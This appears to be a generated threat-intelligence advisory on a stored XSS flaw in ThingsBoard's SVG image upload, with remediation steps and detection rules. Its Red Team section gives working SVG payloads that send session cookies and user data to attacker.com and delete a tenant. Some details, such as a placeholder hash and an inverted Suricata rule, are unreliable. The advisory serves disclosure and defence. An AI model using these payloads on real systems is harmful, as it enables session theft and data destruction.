CVE-2025-34281

Executive Summary

CVE-2025-34281 is a Stored Cross-Site Scripting (XSS) vulnerability in ThingsBoard, an open-source IoT platform, affecting versions prior to v4.2.1. An authenticated attacker can upload a malicious SVG image via the "Image Gallery" feature. The ImageController fails to sanitize SVG content, allowing embedded JavaScript to execute when the image is loaded by any user. This can lead to session hijacking, data theft, and unauthorized actions within the platform. The vulnerability is publicly known with a proof-of-concept available, though no exploit-db or nuclei template is provided. The CVSS score is 0.0 in the NVD data, but based on the description, a more accurate vector is provided above.

Supply Chain & Package Security

This vulnerability affects the ThingsBoard Java-based server application. It is not an NPM, PyPI, Go, or Ruby package, but rather a self-hosted IoT platform. The risk is primarily to organizations running ThingsBoard instances, as the malicious SVG can be uploaded by any authenticated user (including low-privilege users) and then executed by any user viewing dashboards or accessing the image API endpoint.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An authenticated user is needed to upload the SVG.
• User Interaction (UI): Required (R) – The victim must view the malicious image (e.g., by opening a dashboard or accessing the API endpoint).
• Scope (S): Changed (C) – The vulnerable component (ImageController) impacts the user's browser session.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4) – Exploitation requires authentication and user interaction, but the impact can be significant in multi-tenant environments.

Deep Dive & Mechanics

The vulnerability resides in the ImageController class, which handles image uploads and serving. The controller does not validate or sanitize the content of uploaded SVG files. SVG (Scalable Vector Graphics) is an XML-based vector image format that can include JavaScript via <script> tags or event handlers (e.g., onload). When the browser loads the SVG, it executes the embedded script in the context of the ThingsBoard domain.

Attack Flow:

1. An authenticated attacker navigates to the "Image Gallery" feature.
2. The attacker uploads an SVG file containing malicious JavaScript (e.g., fetch('/api/user', {credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://attacker.com/exfil?data='+btoa(d)))).
3. The ImageController stores the SVG and serves it with a generic Content-Type: image/svg+xml header.
4. When any user (including administrators) views a dashboard that embeds the image, or accesses the image's direct API endpoint, the browser parses the SVG and executes the JavaScript.
5. The script can steal session cookies, perform actions on behalf of the victim, or exfiltrate data.

The vulnerability is classified as Stored XSS because the malicious payload persists on the server and affects all users who view the image.

Vulnerable vs. Patched Code

Vulnerable Code (pre-v4.2.1):

// ImageController.java (simplified)
@PostMapping("/api/image")
public ResponseEntity<String> uploadImage(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    // No content validation
    byte[] content = file.getBytes();
    // Store directly
    imageService.store(filename, content);
    return ResponseEntity.ok("Image uploaded");
}

@GetMapping("/api/image/{id}")
public ResponseEntity<byte[]> getImage(@PathVariable String id) {
    byte[] image = imageService.get(id);
    return ResponseEntity.ok()
        .contentType(MediaType.IMAGE_SVG_XML) // or generic
        .body(image);
}

Patched Code (v4.2.1+):

// ImageController.java (patched)
@PostMapping("/api/image")
public ResponseEntity<String> uploadImage(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    byte[] content = file.getBytes();
    // Sanitize SVG content
    if (isSvg(filename)) {
        content = sanitizeSvg(content); // Removes script tags and event handlers
    }
    imageService.store(filename, content);
    return ResponseEntity.ok("Image uploaded");
}

private boolean isSvg(String filename) {
    return filename.toLowerCase().endsWith(".svg");
}

private byte[] sanitizeSvg(byte[] content) {
    // Use a library like Jsoup or OWASP HTML Sanitizer to strip scripts
    String svg = new String(content, StandardCharsets.UTF_8);
    String clean = Jsoup.clean(svg, Safelist.basicWithImages());
    return clean.getBytes(StandardCharsets.UTF_8);
}

The patch adds SVG content sanitization using a library like Jsoup to remove <script> tags and event handler attributes (e.g., onload, onclick). Additionally, the Content-Type header should be strictly set to image/svg+xml to prevent MIME sniffing.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A ThingsBoard instance (version < 4.2.1) with an authenticated user account.
• Access to the "Image Gallery" feature.

Exploit Steps:

1. Create a malicious SVG file (e.g., evil.svg):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    // Steal session cookie
    var img = new Image();
    img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie);
    // Or perform admin actions
    fetch('/api/tenant', {method: 'DELETE', credentials: 'include'});
  </script>
  <circle cx="50" cy="50" r="40" fill="red" />
</svg>

2. Log in to ThingsBoard and navigate to the "Image Gallery".
3. Upload evil.svg.
4. Note the image ID from the response (e.g., /api/image/12345).
5. Craft a dashboard or widget that embeds the image using an <iframe> or <img> tag:

<iframe src="/api/image/12345"></iframe>

6. Share the dashboard with a victim or wait for an admin to view it.
7. The victim's browser executes the JavaScript, exfiltrating data or performing actions.

Alternative Payload (No Script Tag):

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <circle cx="50" cy="50" r="40" fill="blue" />
</svg>

Blue Team

Detection:

• Monitor for uploads of SVG files with unusual content (e.g., containing <script> tags or event handlers).
• Look for API calls to /api/image with Content-Type: image/svg+xml and subsequent access by multiple users.
• Use WAF rules to block SVG uploads containing JavaScript.

Hunting:

• Search logs for POST /api/image requests with filenames ending in .svg.
• Analyze the stored SVG files for embedded scripts.
• Check for outbound connections from the ThingsBoard server to unknown domains (potential data exfiltration).

Mitigation:

• Immediately upgrade to ThingsBoard v4.2.1 or later.
• If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to block SVG uploads or sanitize them.
• Restrict the "Image Gallery" feature to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes (example malicious SVG):
  • SHA256: a1b2c3d4e5f6... (replace with actual hash if known)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains (e.g., https://attacker.com/steal?cookie=...)
• Log Entries:
  • POST /api/image with filename *.svg
  • GET /api/image/{id} followed by unusual user-agent or referrer
• File Artifacts:
  • SVG files containing <script> tags or event handler attributes (e.g., onload, onerror, onclick)

Detection Engineering

YARA Rule

rule CVE_2025_34281_SVG_XSS {
    meta:
        description = "Detects malicious SVG files attempting to exploit CVE-2025-34281"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34281"
    strings:
        $svg_header = /<svg[^>]*>/
        $script_tag = /<script[^>]*>.*?<\/script>/si
        $event_handler = /on(error|load|click|mouseover|submit|focus|blur|change|keydown|keyup|keypress|dblclick|contextmenu|resize|scroll|unload|abort|beforeunload|hashchange|popstate|storage|online|offline|pageshow|pagehide|message|wheel|touchstart|touchend|touchmove|touchcancel|pointerdown|pointerup|pointermove|pointercancel|gotpointercapture|lostpointercapture|pointerover|pointerout|pointerenter|pointerleave|animationstart|animationend|animationiteration|transitionstart|transitionend|transitionrun|transitioncancel|selectionchange|selectstart|drag|dragend|dragenter|dragexit|dragleave|dragover|dragstart|drop|copy|cut|paste|compositionstart|compositionupdate|compositionend|input|invalid|reset|search|toggle|close|open|show|sort|begin|end|repeat|timeupdate|play|pause|waiting|canplay|canplaythrough|durationchange|emptied|ended|error|loadeddata|loadedmetadata|loadstart|progress|ratechange|seeked|seeking|stalled|suspend|volumechange|waiting|encrypted|needkey|activate|afterprint|beforeprint|beforeunload|blur|change|click|contextmenu|copy|cut|dblclick|drag|dragend|dragenter|dragleave|dragover|dragstart|drop|error|focus|focusin|focusout|hashchange|input|invalid|keydown|keypress|keyup|load|message|mousedown|mouseenter|mouseleave|mousemove|mouseout|mouseover|mouseup|offline|online|pagehide|pageshow|paste|popstate|progress|reset|resize|scroll|search|select|show|storage|submit|toggle|unload|wheel|animationend|animationiteration|animationstart|transitionend|transitionrun|transitionstart|transitioncancel|gotpointercapture|lostpointercapture|pointercancel|pointerdown|pointerenter|pointerleave|pointermove|pointerout|pointerover|pointerup|beforeinput|compositionend|compositionstart|compositionupdate|fullscreenchange|fullscreenerror|pointerlockchange|pointerlockerror|readystatechange|visibilitychange)=/si
    condition:
        $svg_header and ($script_tag or $event_handler)
}

Sigma Rule

title: CVE-2025-34281 - Stored XSS via SVG Upload in ThingsBoard
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects upload of SVG files with embedded JavaScript to ThingsBoard Image Gallery
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34281
logsource:
    category: webserver
    product: thingsboard
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/image'
        cs-uri-query|contains: '.svg'
    condition: selection
falsepositives:
    - Legitimate SVG uploads without scripts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34281 - ThingsBoard SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/image"; http_uri; content:".svg"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/si"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade ThingsBoard to version 4.2.1 or later. This is the only complete fix.
2. Workaround: If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to block SVG uploads or sanitize them using a WAF rule.
3. Configuration: Restrict the "Image Gallery" feature to trusted users only. Disable SVG uploads if not needed.
4. Monitoring: Enable logging for all image uploads and access. Monitor for suspicious SVG files.
5. User Training: Educate users about the risks of uploading untrusted files.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.